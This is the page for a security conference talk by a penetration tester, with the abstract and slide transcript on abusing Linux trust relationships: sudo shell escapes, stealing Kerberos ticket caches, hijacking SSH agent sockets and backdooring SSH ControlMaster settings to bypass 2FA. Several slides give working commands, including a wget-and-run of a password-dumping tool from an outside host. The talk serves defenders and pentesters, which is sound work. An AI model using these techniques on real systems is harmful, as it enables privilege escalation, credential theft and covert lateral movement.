Abusing Linux Trust Relationships: Authentication Back Alleys and Forgotten Features

Passwords are weak, and generally speaking, the less a company relies on them, the better. Instead of using password authentication for multiple services and sending passwords (or hashes) all over the network, companies have started trying to adopt more password-less authentication mechanisms to secure their infrastructure. From SSH bastion hosts to Kerberos and 2FA, there are many controls that attempt to limit attacker mobility in the event that a single account or password is compromised. This session will be a ""walking tour"" of bypass techniques that allow a small compromise to pivot widely and undetectably across a network using and abusing built in authentication features and common tools. Starting with a simple compromise of an unprivileged account (e.g. through phishing), this session will discuss techniques that pentesters and attackers use to gain footholds in networks and abuse trust relationships in shared computing resources and ""jumphosts"". The session will demo common tricks to elevate privileges, impersonate other users, steal additional credentials, and pivot around networks using SSH. The presentation will culminate with a discussion of 2FA for SSH access, and how compromises elsewhere in a network can be exploited to completely bypass it. Since these tricks and techniques utilize only built-in Linux commands, they are extremely difficult to detect as they look like normal usage. The demo environment will mimic a segmented network that uses Kerberos and two-factor authentication on SSH jump hosts. It is based entirely off real-world experiences and setups that pentesters from Cisco and Neohapsis have encountered.

Demo Video Here:
https://vimeo.com/165653886

Blog here:
https://blog.ropnop.com/abusing-linux-trust-relationships-thotcon-slides/

Transcript

1. Abusing Linux Trust Relationships Authentication Back Alleys and Forgotten Features 1
2. Agenda • Introduction • Exploiting Authentication and Trust in Networks • Sudo • Kerberos • SSH • Demo (bypassing 2FA) • Q+A 2
3. Introduction • Ronnie Flathers • Senior Security Consultant for Cisco Advisory Services • Previously with Neohapsis • Perform a lot of pentests and architecture reviews • This talk came from a recent pentest and remediation discussions with the client rflather@cisco.com @ropnop 3
4. Why this talk? • ”Defenders think in lists. Attackers think in graphs” • We’re pretty familiar with Windows compromise chains. But it applies to Linux too! • Just because you’re patched doesn’t mean you’re secure • There’s a lot of value in the “informational” findings • Attackers will use and abuse legitimate traffic • If you’re just looking for “hacker” tools, you will miss a lot 4
5. Example Scenario • Three Segments • Two Users • Different privileges • Assume Mark gets compromised (phished) • What’s the worst that could happen? • Going to walkthrough an attack/pentest scenario 5
6. Reconnaissance • Learn to love Informational Findings • LDAP and DNS are treasure troves of information • Identify shared use boxes – what resources are employees logging into and using? How are they authenticating? $ dig @dc.ropnop.lab SRV _ldap._tcp.ropnop.lab $ dig @dc.ropnop.lab SRV _kerberos._tcp.ropnop.lab $ dig @dc.ropnop.lab TXT _kerberos.ropnop.lab $ ldapsearch -H ldap://dc.ropnop.lab -x -b ou=Users,dc=ropnop,dc=lab 6
7. Using compromised credentials to get a TGT “Even if a password is compromised, an attacker can’t use it – we only use Kerberos and SSH keys!” 7
8. Sudo’s a hell of a drug • We trust sudo to handle root privileges “responsibly” • /etc/sudoersdefines which commands users can run – but it’s often misconfigured • “sudo –l” to see what commands you can run: • See any problems here? 8
9. Sudo’s a hell of a drug (cont’d…) • /usr/bin/find • /usr/bin/vim /etc/resolv.conf • /opt/scripts/helloWorld.sh • /bin/cp /var/log/apache2* /tmp/backups* $ sudo /usr/bin/find /etc/passwd –exec /bin/bash \; (in vim) :! /bin/bash (writable?) $ ls –l /opt/scripts/helloWorld.sh $ sudo /bin/cp /var/log/apache2/../../../bin/sh /tmp/backups/../../opt/hellowWorld.sh 9
10. We have root – now what? • Well what do you do when you have SYSTEM on Windows? • Add users/change passwords? Install rootkits or backdoors? • Easy way to get detected and/or cause damage • We know other users connect to this box. We know other boxes exist on the network. 10 # wget ropnop.com/mimikatz; chmod +x mimikatz; sudo mimikatz –-dump-passwords
11. We have root – now what? • Well what do you do when you have SYSTEM on Windows? • Add users/change passwords? Install rootkits or backdoors? • Easy way to get detected and/or cause damage • We know other users connect to this box. We know other boxes exist on the network. 11 # wget ropnop.com/mimikatz; chmod +x mimikatz; sudo mimikatz –-dump-passwords
12. Impersonation is the sincerest form of flattery • We’re root, but you can’t just “transfer” root to another box • How can we become someone else and move to another box? • Hijacking Kerberos Tickets • Authenticated users leave behind Kerberos ticket caches • Default location is “/tmp/krb5cc_*” • They’re protected, but, hey – we’re root • Find your current cache location with “klist” • Copy someone else’s cache into yours – you become them! # ls -l /tmp/krb* 12
13. Impersonation is the sincerest form of flattery 13
14. Hijacking SSH Agents • To avoid storing private keys everywhere, many users use SSH Agent Forwarding • This creates a socket back to the originating system that can be used to authenticate further “hops” with only the one private key • If we “hijack” the socket, we can use it to bypass key-based SSH authentication • The location is stored in an environment variable for the user called “SSH_AUTH_SOCK” 1)Discover who’s logged in and the PID of SSH session’s bash environment 2)Read “SSH_AUTH_SOCK” env variable to discover path of agent socket 3)Pass that value as an env variable to a new SSH connection (…profit?) 14
15. Hijacking SSH agents (cont’d…) • Discover logged in users, and process IDs • Read environment variables for the bash PID for patrick • Pass the socket as an env variable to a new SSH connection # who # pstree –pu patrick sshd(1978)───bash(1979) # tr '\0' '\n' < /proc/1979/environ |grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-Zi4dmo95nh/agent.1978 # SSH_AUTH_SOCK=/tmp/ssh-Zi4dmo95nh/agent.1978 ssh patrick@dev.ropnop.lab 15
16. Oh no it’s 2FA!! • 2FA authentication is handled in SSH one of two ways: • Using SSH’s ‘ForceCommand’ to execute a script as soon as a user has authenticated (not “true” 2FA) • Using a PAM module (more secure) • Duo and Google are two popular (and free*) 2FA options for SSH • But they only work on a new connection…. • Master Mode anyone? “Okay... even if you have a password or SSH agent, we use 2FA on our production systems!!” 16
17. SSH Master Mode • SSH Master Mode is incredibly powerful (and dangerous!) • It allows multiple SSH sessions to share one network connection (multiplex SSH) • These sessions don’t require additional authentication (!!) • Think of it as “piggybacking” on an existing SSH connection • Three options control SSH Master Mode and have to be present when the connection is initiated. Connect using the socket with “-S” • How can we abuse it? We can “backdoor” SSH… Host * ControlMaster auto ControlPath /tmp/%r@%h:%p ControlPersist yes alias ssh=‘ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes’ /home/patrick/.ssh/config /home/patrick/.bashrc 17
18. Bypassing 2FA • DEMO TIME! 18
19. To summarize • Patrick on prod. Without: • Knowing his password • Having his SSH key • Accessing his phone • Using any “hacker” tools 19
20. To summarize • What is there to detect? • Kerberos? • SSH? • Sudo? • Patrick? • Who/what do we trust in our network? 20
21. Thank you. Questions? rflather@cisco.com @ropnop 21
22. Cutting Room Floor • More LDAP reconaissance • Looting shared boxes as an unprivileged user • Backdooring dotfiles • MacGyver a keylogger through strace • Hijacking screen sessions • Injecting port forwards • Bypassing SSH “ForceCommands” • Come talk to me if you want to hear more! 22